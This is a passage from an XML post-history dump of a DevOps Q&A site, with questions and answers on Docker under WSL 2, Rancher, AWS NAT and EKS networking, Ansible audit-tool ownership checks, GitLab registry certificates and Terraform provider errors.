well?&#xD;&#xA;&#xD;&#xA;These are a lot of questions. Please understand that I don't necessarily want the low-level implementations, I just want to see where are the many moving parts connected. Anything shredding some light on these questions would be really appreciated." ContentLicense="CC BY-SA 4.0" />
  <row Id="39970" PostHistoryTypeId="1" PostId="13000" RevisionGUID="2d54eae3-66fd-4de3-a181-9e526d7fc3ed" CreationDate="2020-12-19T14:41:32.910" UserId="25082" Text="Where are Docker containers stored on disk?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39971" PostHistoryTypeId="3" PostId="13000" RevisionGUID="2d54eae3-66fd-4de3-a181-9e526d7fc3ed" CreationDate="2020-12-19T14:41:32.910" UserId="25082" Text="&lt;docker&gt;&lt;images&gt;&lt;virtualization&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39972" PostHistoryTypeId="2" PostId="13001" RevisionGUID="170f0852-e2f3-4d0d-b0f1-a7d0289f94ca" CreationDate="2020-12-19T15:12:12.530" UserId="11581" Text="Question:&#xD;&#xA;I tried to answer this on my own but couldn't find a definitive answer. But before investing more time in getting Rancher / my setup running I would need directives.&#xD;&#xA;Assuming that I want to use Rancher to bootstrap a Kubernetes cluster: does this create a hen-egg problem ? As far as I understand I need to have Rancher running on Kubernetes to create a Kubernetes cluster. But as I want to use Rancher to create a Kubernetes cluster this is kind of repetitive work ...&#xD;&#xA;Would it work to create a minimal Kubernetes cluster for the sole purpose to run Rancher ? &#xD;&#xA;Do I need Rancher after I created the Hetzner based Kubernetes cluster ? Or can I dump it afterwards ? &#xD;&#xA;&#xD;&#xA;Background:&#xD;&#xA;For personal projects that I want to make available on the Internet I decided to use Kubernetes. Because of this I had a look at several providers and decided not to use readymade managed services like that of Digitalocean, Scaleway or a like. Instead of this I decided to use the provider I use for other stuff too: Hetzner.&#xD;&#xA;I googled for approaches how to install K8S on plain VMs and found this one most promising: https://vitobotta.com/2020/10/30/kubernetes-hetzner-cloud-rancher-custom-nodes/&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39973" PostHistoryTypeId="1" PostId="13001" RevisionGUID="170f0852-e2f3-4d0d-b0f1-a7d0289f94ca" CreationDate="2020-12-19T15:12:12.530" UserId="11581" Text="Hen-egg problem when using Rancher to generate K8S Cluster?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39974" PostHistoryTypeId="3" PostId="13001" RevisionGUID="170f0852-e2f3-4d0d-b0f1-a7d0289f94ca" CreationDate="2020-12-19T15:12:12.530" UserId="11581" Text="&lt;kubernetes&gt;&lt;rancher&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39976" PostHistoryTypeId="5" PostId="11650" RevisionGUID="9afe74fe-32c9-4367-9b98-e5347944bc40" CreationDate="2020-12-19T17:17:00.883" UserId="1180" Comment="broken link fixed" Text="A possible approach could be:&#xD;&#xA;&#xD;&#xA;* Put your instances in a private subnet&#xD;&#xA;* Route incoming traffic through a load balancer&#xD;&#xA;* Route outgoing traffic through a [NAT][1]&#xD;&#xA;&#xD;&#xA;Outgoing traffic will then use the elastic IP assigned to your NAT as its source IP.&#xD;&#xA;&#xD;&#xA;An added benefit of this approach from a security perspective is that your instances won't be directly reachable from the internet, thus reducing your attack surface.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/vpc/latest/userguide/vpc-nat-gateway.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="39977" PostHistoryTypeId="24" PostId="11650" RevisionGUID="9afe74fe-32c9-4367-9b98-e5347944bc40" CreationDate="2020-12-19T17:17:00.883" Comment="Proposed by 1180 approved by 40 edit id of 1307" ContentLicense="CC BY-SA 4.0" />
  <row Id="39980" PostHistoryTypeId="2" PostId="13002" RevisionGUID="bffc9152-5b86-4e0a-a084-a8a6c624f431" CreationDate="2020-12-19T23:40:23.397" UserId="6162" Text="For Amazon EKS, the control plane is running in a separate VPC that is managed by Amazon. You only need to care about the VPC for the worker nodes.&#xD;&#xA;&#xD;&#xA;&gt;**Amazon EKS control plane** – Deployed and managed by Amazon EKS in an Amazon EKS managed VPC. When you create the cluster, Amazon EKS creates and manages network interfaces in your account that have Amazon EKS &lt;cluster name&gt; in their description. These network interfaces allow AWS Fargate and Amazon EC2 instances to communicate with the control plane.&#xD;&#xA;&#xD;&#xA;From [Amazon EKS Networking][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/eks/latest/userguide/eks-networking.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="39981" PostHistoryTypeId="2" PostId="13003" RevisionGUID="abfbe1b5-8ccb-4626-b3a2-23faf107c687" CreationDate="2020-12-20T01:20:06.647" UserId="25247" Text="For those searching, I found this post while experiencing the same issue.  I was able to resolve this by adding the array index to my loop:&#xD;&#xA;&#xD;&#xA;```- name: &quot;Implement http-01 challenge files&quot;&#xD;&#xA;  copy:&#xD;&#xA;    content: &quot;{{ acme_challenge_your_domain['results'][ansible_loop.index0]['challenge_data'][item.hostname]['http-01']['resource_value'] }}&quot;&#xD;&#xA;    dest: &quot;/var/www/{{ item.hostname }}/{{ acme_challenge_your_domain['results'][ansible_loop.index0]['challenge_data'][item.hostname]['http-01']['resource'] }}&quot;&#xD;&#xA;    owner: root&#xD;&#xA;    group: root&#xD;&#xA;    mode: u=rw,g=r,o=r&#xD;&#xA;  loop: &quot;{{ hosted_sites }}&quot;&#xD;&#xA;  loop_control:&#xD;&#xA;    loop_var: item&#xD;&#xA;    extended: yes&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The specific changes here being converting with_items to a loop and adding the loop_control parameter extended.  This allows for usage of ansible_loop.index0." ContentLicense="CC BY-SA 4.0" />
  <row Id="39982" PostHistoryTypeId="2" PostId="13004" RevisionGUID="b2a05118-42ac-46c6-a1bf-af0fb84f71fd" CreationDate="2020-12-20T09:21:24.837" UserId="25249" Text="- name: Verify audit tools are own by root user.&#xD;&#xA;  block: &#xD;&#xA;    - name: check if audit tools are own by root user.&#xD;&#xA;      become: true&#xD;&#xA;      stat:&#xD;&#xA;        path: &quot;/sbin/{{ audit_loop }}&quot;&#xD;&#xA;      loop:&#xD;&#xA;        - auditctl&#xD;&#xA;        - aureport&#xD;&#xA;        - ausearch&#xD;&#xA;        - autrace&#xD;&#xA;        - auditd&#xD;&#xA;        - audispd&#xD;&#xA;        - augenrules&#xD;&#xA;      loop_control:&#xD;&#xA;        loop_var: audit_loop&#xD;&#xA;      register: audit_tools&#xD;&#xA;&#xD;&#xA;    debug:&#xD;&#xA;      msg: “one or more tools are not own by root.”&#xD;&#xA;    When: .....&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  Rescue&#xD;&#xA;     ......&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Hi all,&#xD;&#xA;&#xD;&#xA;What’s the best way to use registered variable ‘audit_tools’ to check if all items are own by root ?&#xD;&#xA;Do I need to use Jinja2 filter or something ?&#xD;&#xA;&#xD;&#xA;Thanks" ContentLicense="CC BY-SA 4.0" />
  <row Id="39983" PostHistoryTypeId="1" PostId="13004" RevisionGUID="b2a05118-42ac-46c6-a1bf-af0fb84f71fd" CreationDate="2020-12-20T09:21:24.837" UserId="25249" Text="Ansible: register variable with loop" ContentLicense="CC BY-SA 4.0" />
  <row Id="39984" PostHistoryTypeId="3" PostId="13004" RevisionGUID="b2a05118-42ac-46c6-a1bf-af0fb84f71fd" CreationDate="2020-12-20T09:21:24.837" UserId="25249" Text="&lt;ansible&gt;&lt;linux&gt;&lt;cicd&gt;&lt;devsecops&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39985" PostHistoryTypeId="5" PostId="13004" RevisionGUID="2e86c729-d1d3-49d4-b702-c5b5fc841b7a" CreationDate="2020-12-20T14:16:12.370" UserId="25249" Comment="added 99 characters in body" Text="What’s the best way to use registered variable ‘audit_tools’ to check if all items are own by root ?&#xD;&#xA;Do I need to use Jinja2 filter or something ?&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    - name: Verify audit tools are own by root user.&#xD;&#xA;      block: &#xD;&#xA;        - name: check if audit tools are own by root user.&#xD;&#xA;          become: true&#xD;&#xA;          stat:&#xD;&#xA;            path: &quot;/sbin/{{ audit_loop }}&quot;&#xD;&#xA;          loop:&#xD;&#xA;            - auditctl&#xD;&#xA;            - aureport&#xD;&#xA;            - ausearch&#xD;&#xA;            - autrace&#xD;&#xA;            - auditd&#xD;&#xA;            - audispd&#xD;&#xA;            - augenrules&#xD;&#xA;          loop_control:&#xD;&#xA;            loop_var: audit_loop&#xD;&#xA;          register: audit_tools&#xD;&#xA;    &#xD;&#xA;        debug:&#xD;&#xA;          msg: “one or more tools are not own by root.”&#xD;&#xA;        When: .....&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;      Rescue&#xD;&#xA;         ......&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39986" PostHistoryTypeId="6" PostId="13004" RevisionGUID="2e86c729-d1d3-49d4-b702-c5b5fc841b7a" CreationDate="2020-12-20T14:16:12.370" UserId="25249" Comment="added 99 characters in body" Text="&lt;ansible&gt;&lt;linux&gt;&lt;cicd&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39987" PostHistoryTypeId="2" PostId="13005" RevisionGUID="1f810088-818d-4700-9aaa-e6947ee4f594" CreationDate="2020-12-20T16:33:15.100" UserId="7715" Text="Put the list of the tools into the variable *audit_tools*. Compare the length of the lists. For example&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;    - block:&#xD;&#xA;        - stat:&#xD;&#xA;            path: &quot;sbin/{{ item }}&quot;&#xD;&#xA;          loop: &quot;{{ audit_tools }}&quot;&#xD;&#xA;          register: result&#xD;&#xA;        - assert:&#xD;&#xA;            that: no_audit_tools == no_owner_root&#xD;&#xA;            fail_msg: &quot;One or more tools are not own by root.&quot;&#xD;&#xA;          vars:&#xD;&#xA;            no_audit_tools: &quot;{{ audit_tools|length }}&quot;&#xD;&#xA;            no_owner_root: &quot;{{ result.results|&#xD;&#xA;                               json_query('[?stat.pw_name==`root`]')|&#xD;&#xA;                               length }}&quot;&#xD;&#xA;      rescue:&#xD;&#xA;        - debug:&#xD;&#xA;            msg: &quot;Rescue: audit tools not owned by root.&quot;&#xD;&#xA;```&#xD;&#xA;If not all utils are owned by root *assert* will fail and the *block* will proceed to the *rescue* section&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;TASK [assert] ****&#xD;&#xA;fatal: [localhost]: FAILED! =&gt; changed=false &#xD;&#xA;  assertion: no_audit_tools == no_owner_root&#xD;&#xA;  evaluated_to: false&#xD;&#xA;  msg: One or more tools are not own by root.&#xD;&#xA;&#xD;&#xA;TASK [debug] ****&#xD;&#xA;ok: [localhost] =&gt; &#xD;&#xA;  msg: 'Rescue: audit tools not owned by root.'&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="39988" PostHistoryTypeId="5" PostId="13005" RevisionGUID="4742b615-6038-48ee-90e7-9e2c4a17500c" CreationDate="2020-12-20T17:16:33.110" UserId="7715" Comment="added 181 characters in body" Text="Put the list of the tools into the variable *audit_tools*. Compare the length of the lists. For example&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;- hosts: localhost&#xD;&#xA;  vars:&#xD;&#xA;    audit_tools:&#xD;&#xA;      - auditctl&#xD;&#xA;      - aureport&#xD;&#xA;      - ausearch&#xD;&#xA;      - autrace&#xD;&#xA;      - auditd&#xD;&#xA;      - audispd&#xD;&#xA;      - augenrules&#xD;&#xA;  tasks:&#xD;&#xA;    - block:&#xD;&#xA;        - stat:&#xD;&#xA;            path: &quot;sbin/{{ item }}&quot;&#xD;&#xA;          loop: &quot;{{ audit_tools }}&quot;&#xD;&#xA;          register: result&#xD;&#xA;        - assert:&#xD;&#xA;            that: no_audit_tools == no_owner_root&#xD;&#xA;            fail_msg: &quot;One or more tools are not own by root.&quot;&#xD;&#xA;          vars:&#xD;&#xA;            no_audit_tools: &quot;{{ audit_tools|length }}&quot;&#xD;&#xA;            no_owner_root: &quot;{{ result.results|&#xD;&#xA;                               json_query('[?stat.pw_name==`root`]')|&#xD;&#xA;                               length }}&quot;&#xD;&#xA;      rescue:&#xD;&#xA;        - debug:&#xD;&#xA;            msg: &quot;Rescue: audit tools not owned by root.&quot;&#xD;&#xA;```&#xD;&#xA;If not all utils are owned by root *assert* will fail and the *block* will proceed to the *rescue* section&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;TASK [assert] ****&#xD;&#xA;fatal: [localhost]: FAILED! =&gt; changed=false &#xD;&#xA;  assertion: no_audit_tools == no_owner_root&#xD;&#xA;  evaluated_to: false&#xD;&#xA;  msg: One or more tools are not own by root.&#xD;&#xA;&#xD;&#xA;TASK [debug] ****&#xD;&#xA;ok: [localhost] =&gt; &#xD;&#xA;  msg: 'Rescue: audit tools not owned by root.'&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="39989" PostHistoryTypeId="5" PostId="13005" RevisionGUID="05e06575-553a-4ed8-af74-ffd4048484fd" CreationDate="2020-12-21T07:09:04.480" UserId="7715" Comment="added 487 characters in body" Text="Q: **&quot;*Check if all items are own by root.*&quot;**&#xD;&#xA;&#xD;&#xA;A: Put the list of the tools into the variable *audit_tools*. Compare the length of the lists. For example&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;- hosts: localhost&#xD;&#xA;  vars:&#xD;&#xA;    audit_tools:&#xD;&#xA;      - auditctl&#xD;&#xA;      - aureport&#xD;&#xA;      - ausearch&#xD;&#xA;      - autrace&#xD;&#xA;      - auditd&#xD;&#xA;      - audispd&#xD;&#xA;      - augenrules&#xD;&#xA;  tasks:&#xD;&#xA;    - block:&#xD;&#xA;        - stat:&#xD;&#xA;            path: &quot;/sbin/{{ item }}&quot;&#xD;&#xA;          loop: &quot;{{ audit_tools }}&quot;&#xD;&#xA;          register: result&#xD;&#xA;        - assert:&#xD;&#xA;            that: no_audit_tools == no_owner_root&#xD;&#xA;            fail_msg: &quot;One or more tools are not own by root.&quot;&#xD;&#xA;          vars:&#xD;&#xA;            no_audit_tools: &quot;{{ audit_tools|length }}&quot;&#xD;&#xA;            no_owner_root: &quot;{{ result.results|&#xD;&#xA;                               json_query('[?stat.pw_name==`root`]')|&#xD;&#xA;                               length }}&quot;&#xD;&#xA;      rescue:&#xD;&#xA;        - debug:&#xD;&#xA;            msg: &quot;Rescue: audit tools not owned by root.&quot;&#xD;&#xA;```&#xD;&#xA;If not all items are owned by root *assert* will fail and the *block* will proceed to the *rescue* section&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;TASK [assert] ****&#xD;&#xA;fatal: [localhost]: FAILED! =&gt; changed=false &#xD;&#xA;  assertion: no_audit_tools == no_owner_root&#xD;&#xA;  evaluated_to: false&#xD;&#xA;  msg: One or more tools are not own by root.&#xD;&#xA;&#xD;&#xA;TASK [debug] ****&#xD;&#xA;ok: [localhost] =&gt; &#xD;&#xA;  msg: 'Rescue: audit tools not owned by root.'&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&lt;hr&gt;&#xD;&#xA;&#xD;&#xA;Q: **&quot;*This solution requires [JMESPath](https://jmespath.org/) to be installed. Is there an alternative solution?*&quot;**&#xD;&#xA;&#xD;&#xA;A: Yes. It is. Use Jinja filter [selectattr](https://jinja.palletsprojects.com/en/master/templates/#selectattr)&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;            no_owner_root: &quot;{{ result.results|&#xD;&#xA;                               selectattr('stat.pw_name', 'eq', 'root')|&#xD;&#xA;                               list|length }}&quot;&#xD;&#xA;```&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39990" PostHistoryTypeId="2" PostId="13006" RevisionGUID="bc4463a1-705c-4058-89af-966847942755" CreationDate="2020-12-21T10:22:42.857" UserId="24583" Text="We have migrated to DevOps from SharePoint 2010. We need to Import all the user stories we have in sharepoint to [Azure DevOps][1] . Can any one help me with a better way to go about this?&#xD;&#xA;&#xD;&#xA;Know someone who can answer? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.opstrainerz.com/azure-devops-training&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39991" PostHistoryTypeId="1" PostId="13006" RevisionGUID="bc4463a1-705c-4058-89af-966847942755" CreationDate="2020-12-21T10:22:42.857" UserId="24583" Text="Import data from SharePoint to Azure DevOps" ContentLicense="CC BY-SA 4.0" />
  <row Id="39992" PostHistoryTypeId="3" PostId="13006" RevisionGUID="bc4463a1-705c-4058-89af-966847942755" CreationDate="2020-12-21T10:22:42.857" UserId="24583" Text="&lt;azure-devops&gt;&lt;azure&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39993" PostHistoryTypeId="2" PostId="13007" RevisionGUID="ceeea890-3907-4156-b759-b04762579d83" CreationDate="2020-12-21T11:16:27.297" UserId="17579" Text="Standard practice in non-development environments is to `COPY` the application code into the image, and to set the standard `CMD` there too.&#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-sh --&gt;&#xD;&#xA;&#xD;&#xA;    ...&#xD;&#xA;    COPY . .&#xD;&#xA;    RUN composer install&#xD;&#xA;    # php:fpm-alpine image already provides the correct CMD&#xD;&#xA;&#xD;&#xA;There are a couple of important advantages to doing this:&#xD;&#xA;&#xD;&#xA;* You can just run the Docker image directly on the target system; you don't have to copy the Docker image, and also the application code separately.&#xD;&#xA;* `RUN composer install` happens only once during the build sequence.  `command: composer install ...` runs on every restart, which is slower, uses network bandwidth, and can fail.&#xD;&#xA;* If you give a unique tag to each image, you can easily roll back to an earlier image by changing the tag back.  It's hard to do this with a volume mount.&#xD;&#xA;* You'll `docker run` an identical image in all environments; you don't need to worry that the host-directory copy of the application is slightly different on that one system.&#xD;&#xA;&#xD;&#xA;There's no specific rule that a Docker image needs to be very small; the only practical issue I've encountered is that multi-gigabyte images don't transfer across the network well.  Indeed, I'd recommend the opposite choice around `COPY` vs. volumes that you've suggested: `COPY` the application code in, and use volumes for config files and other things that aren't &quot;your code&quot;, and that need to be directly accessed from the host.  (You do want to rebuild your application when the application changes; you don't want to rebuild your application when the database URL changes.)" ContentLicense="CC BY-SA 4.0" />
  <row Id="39994" PostHistoryTypeId="2" PostId="13008" RevisionGUID="f543eaf6-bc3f-4bdd-8e0b-27e50a24616f" CreationDate="2020-12-21T13:04:57.537" UserId="25266" Text="We're making some machines in which there's a part which uploads the images captured by the camera to Google Cloud Storage. For this purpose what I've done is&#xD;&#xA;&#xD;&#xA; 1. Create a service account for each machine.&#xD;&#xA; 2. Create a custom role with permissions:&#xD;&#xA;&#xD;&#xA;&gt;     storage.objects.create&#xD;&#xA;&gt;     storage.buckets.get&#xD;&#xA;&gt;     storage.objects.get&#xD;&#xA; 3. Apply this role to that service account.&#xD;&#xA; 4. Download the JSON credentials key file and use this file with python script (in which I specify bucket name) to upload image to GCP Storage.&#xD;&#xA;&#xD;&#xA;Is this way of doing things efficient and secure given that we only ship 2-3 machines each month?&#xD;&#xA;&#xD;&#xA;Also I will have to ship JSON file with each machine, if the above method is valid, is this fine or there's any method to hide this key file?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39995" PostHistoryTypeId="1" PostId="13008" RevisionGUID="f543eaf6-bc3f-4bdd-8e0b-27e50a24616f" CreationDate="2020-12-21T13:04:57.537" UserId="25266" Text="Secure way of uploading data to Google Cloud Storage" ContentLicense="CC BY-SA 4.0" />
  <row Id="39996" PostHistoryTypeId="3" PostId="13008" RevisionGUID="f543eaf6-bc3f-4bdd-8e0b-27e50a24616f" CreationDate="2020-12-21T13:04:57.537" UserId="25266" Text="&lt;google-cloud-platform&gt;&lt;google-cloud-storage&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39997" PostHistoryTypeId="2" PostId="13009" RevisionGUID="9de81776-a494-4a20-81c4-1d5ffc173364" CreationDate="2020-12-21T16:49:35.957" UserId="25270" Text="I wrote a playbook to deploy my ssh keys across multiple instances. This my playbook, but I am experiencing some problems with it. I already created my ssh keys from my local instance. Please see below. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Have I done anything wrong?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[!This is when I executed the playbook[2]][2]&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[![enter image description here][3]][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This is my ansible version if it helps. &#xD;&#xA;&#xD;&#xA;bash-4.2$ ansible --version&#xD;&#xA;ansible 2.9.15&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/21l78.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/tSzlc.png&#xD;&#xA;  [3]: https://i.stack.imgur.com/wddei.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="39998" PostHistoryTypeId="1" PostId="13009" RevisionGUID="9de81776-a494-4a20-81c4-1d5ffc173364" CreationDate="2020-12-21T16:49:35.957" UserId="25270" Text="deploying my public key to multiple ec2 instances" ContentLicense="CC BY-SA 4.0" />
  <row Id="39999" PostHistoryTypeId="3" PostId="13009" RevisionGUID="9de81776-a494-4a20-81c4-1d5ffc173364" CreationDate="2020-12-21T16:49:35.957" UserId="25270" Text="&lt;amazon-web-services&gt;&lt;ansible&gt;&lt;linux&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40000" PostHistoryTypeId="50" PostId="8755" RevisionGUID="26258c60-ea66-43a2-a1e3-e2a21ee99265" CreationDate="2020-12-21T18:02:05.203" UserId="-1" />
  <row Id="40001" PostHistoryTypeId="5" PostId="13000" RevisionGUID="926f42bf-f2bb-47f2-8cd1-de7654a9c1b5" CreationDate="2020-12-21T19:12:01.937" UserId="22660" Comment="multiple typos" Text="I'm learning about Docker. I feel stuck at the moment, I think that I have some wrong concepts about how Docker works, and that shadows how it actually works, but I can't really locate the problem. I will try to write a quick overview how I now think Docker works, please bear with me. At the moment I only want to make it work only on my local machine, hence nothing is deployed to a server in the outside world.&#xD;&#xA;&#xD;&#xA;I have a WSL 2 Ubuntu distro installed on top of Windows 10. This means that I have virtualized my hardware to create a VM to run Ubuntu. In that VM, I want to create Docker containers, that will virtualize the Ubuntu OS, and share the kernel, creating containers where I can run my app.&#xD;&#xA;&#xD;&#xA;In containers, there is no hypervisor, but still there is a thing that handles resources and other things. This is the Docker engine, in my setup the Docker Desktop for Windows, that contains the Docker engine. Here things start to get shady. Alongside the Ubuntu distro, I have two other WSL distros, docker-desktop and docker-desktop-data. It seems like these are used to implement Docker on WSL 2, and they are corresponding for a virtual machine running the Docker engine, and one for holding images, respectively.&#xD;&#xA;&#xD;&#xA;The Docker Desktop installed on Windows is connected to the WSL environment. The Docker host is the docker-desktop distro, while the images are stored in the docker-desktop-data. This is the host that I connect to with my client to use the images that I create / download. I tried to see where my docker images are stored, I could not find them where some sources say they should be, but I found a folder dynamically growing when I am creating images, and that is `C:\Users\Username\AppData\Local\Docker`. But how come they are on the Windows file system (their routes from Linux being `mnt/Users/Username/...`) and not somewhere 'nearer' to the files separated for Linux Distros? And if it's stored there, why do my images need contexts for building? Is it the goal for these two distros, or are they doing something else as well?&#xD;&#xA;&#xD;&#xA;These are a lot of questions. Please understand that I don't necessarily want the low-level implementations, I just want to see where are the many moving parts connected. Anything shedding some light on these questions would be really appreciated." ContentLicense="CC BY-SA 4.0" />
  <row Id="40002" PostHistoryTypeId="24" PostId="13000" RevisionGUID="926f42bf-f2bb-47f2-8cd1-de7654a9c1b5" CreationDate="2020-12-21T19:12:01.937" Comment="Proposed by 22660 approved by 354, 40 edit id of 1308" ContentLicense="CC BY-SA 4.0" />
  <row Id="40003" PostHistoryTypeId="2" PostId="13010" RevisionGUID="2c9516a0-7d5c-4618-ad72-caad385a623f" CreationDate="2020-12-21T19:34:38.140" UserId="6341" Text="There are no tools to import data from SharePoint to Azure DevOps. You can consider the following:&#xD;&#xA;&#xD;&#xA; 1. [Export SharePoint List to csv][1] and then [import it to Azure DevOps][2]&#xD;&#xA; 2. Use Excel integration. Export Sharepoint list to Excel and then copy/paste data to Excel linked with Azure DevOps and [publish it][3].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://techwizard.cloud/2016/06/20/export-sharepoint-list-to-csv/&#xD;&#xA;  [2]: https://docs.microsoft.com/en-us/azure/devops/boards/queries/import-work-items-from-csv?view=azure-devops&#xD;&#xA;  [3]: https://docs.microsoft.com/en-us/azure/devops/boards/backlogs/office/bulk-add-modify-work-items-excel?view=azure-devops&amp;tabs=agile-process" ContentLicense="CC BY-SA 4.0" />
  <row Id="40008" PostHistoryTypeId="2" PostId="13012" RevisionGUID="7283845b-a06b-4d0a-816d-cc9dd7d02c49" CreationDate="2020-12-22T01:04:12.023" UserId="12988" Text="After struggling for a time I solved the problem by changing the image in the ci from Ubuntu to ansible-runner." ContentLicense="CC BY-SA 4.0" />
  <row Id="40009" PostHistoryTypeId="2" PostId="13013" RevisionGUID="72003646-f291-4440-8746-1e7c4cf385f8" CreationDate="2020-12-22T01:24:45.480" UserId="12988" Text="I have an on-premise installation of gitlab with an enabled gitlab registry on the same host. So, both gitlab server and gitlab registry are under the same hostname.&#xD;&#xA;&#xD;&#xA;The gitlab ci runner is on kubernetes and was installed with  the official helm chart.&#xD;&#xA;&#xD;&#xA;According to [this documentation][1] I can add a certificate as secret in k8s and pass it to gitlab-runner. This works fine to gitlab runner access the gitlab server and download the repo to build but gives me the error&#xD;&#xA;&#xD;&#xA;    Error logging in to v2 endpoint ... Get https://mygtilab.domain.com/v2: x509 certificate signed by unknown authority&#xD;&#xA;&#xD;&#xA;when trying to login to registry `docker login $CI_REGISTRY -u $CI_DEPLOY_USER -p $CI_DEPLOY_PASSWORD`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Steps to reproduce:&#xD;&#xA;&#xD;&#xA;1 - Create a secret in k8s with the certificate of the gitlab server (I'm not using auto signed)&#xD;&#xA;&#xD;&#xA;    kubectl create secret generic gitlab-cert --from-file=mygtilab.domain.com -n gitlab-managed-apps&#xD;&#xA;&#xD;&#xA;2 - Add the secret name in a values.yml file (`certsSecretName: gitlab-cert`)&#xD;&#xA;&#xD;&#xA;3 - Install gitlab-runner with helm &#xD;&#xA;&#xD;&#xA;    helm install --namespace gitlab-managed-apps gitlab-runner -f values gitlab/gitlab-runner&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.gitlab.com/runner/install/kubernetes.html#providing-a-custom-certificate-for-accessing-gitlab&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Add `--insecure-registries` in the gitlab-ci.yml did not help." ContentLicense="CC BY-SA 4.0" />
  <row Id="40010" PostHistoryTypeId="1" PostId="13013" RevisionGUID="72003646-f291-4440-8746-1e7c4cf385f8" CreationDate="2020-12-22T01:24:45.480" UserId="12988" Text="Gitlab-ci docker login x509 certificate signed by unknown auhtority" ContentLicense="CC BY-SA 4.0" />
  <row Id="40011" PostHistoryTypeId="3" PostId="13013" RevisionGUID="72003646-f291-4440-8746-1e7c4cf385f8" CreationDate="2020-12-22T01:24:45.480" UserId="12988" Text="&lt;gitlab&gt;&lt;gitlab-ci-runner&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40012" PostHistoryTypeId="2" PostId="13014" RevisionGUID="9ebd31ad-d410-470b-bf8f-9df52967f79f" CreationDate="2020-12-22T02:03:44.330" UserId="19440" Text="I am using terraform docker image `hashicorp/terraform:latest` and I define the provider in main.tf as following:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;terraform {&#xD;&#xA;  required_providers {&#xD;&#xA;    gitlab = {&#xD;&#xA;      source = &quot;gitlabhq/gitlab&quot;&#xD;&#xA;      version = &quot;3.3.0&quot;&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;provider &quot;gitlab&quot; {&#xD;&#xA;    token = var.gitlab_token&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;when I run terraform apply, I become the following error:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Initializing provider plugins...&#xD;&#xA;- Finding gitlabhq/gitlab versions matching &quot;3.3.0&quot;...&#xD;&#xA;- Finding latest version of hashicorp/aws...&#xD;&#xA;- Finding latest version of hashicorp/gitlab...&#xD;&#xA;- Installing gitlabhq/gitlab v3.3.0...&#xD;&#xA;- Installed gitlabhq/gitlab v3.3.0 (signed by a HashiCorp partner, key ID BC097C3333027B14)&#xD;&#xA;- Installing hashicorp/aws v3.22.0...&#xD;&#xA;- Installed hashicorp/aws v3.22.0 (signed by HashiCorp)&#xD;&#xA;Partner and community providers are signed by their developers.&#xD;&#xA;If you'd like to know more about provider signing, you can read about it here:&#xD;&#xA;https://www.terraform.io/docs/plugins/signing.html&#xD;&#xA;Error: Failed to query available provider packages&#xD;&#xA;Could not retrieve the list of available versions for provider&#xD;&#xA;hashicorp/gitlab: provider registry registry.terraform.io does not have a&#xD;&#xA;provider named registry.terraform.io/hashicorp/gitlab&#xD;&#xA;If you have just upgraded directly from Terraform v0.12 to Terraform v0.14&#xD;&#xA;then please upgrade to Terraform v0.13 first and follow the upgrade guide for&#xD;&#xA;that release, which might help you address this problem.&#xD;&#xA;Did you intend to use gitlabhq/gitlab? If so, you must specify that source&#xD;&#xA;address in 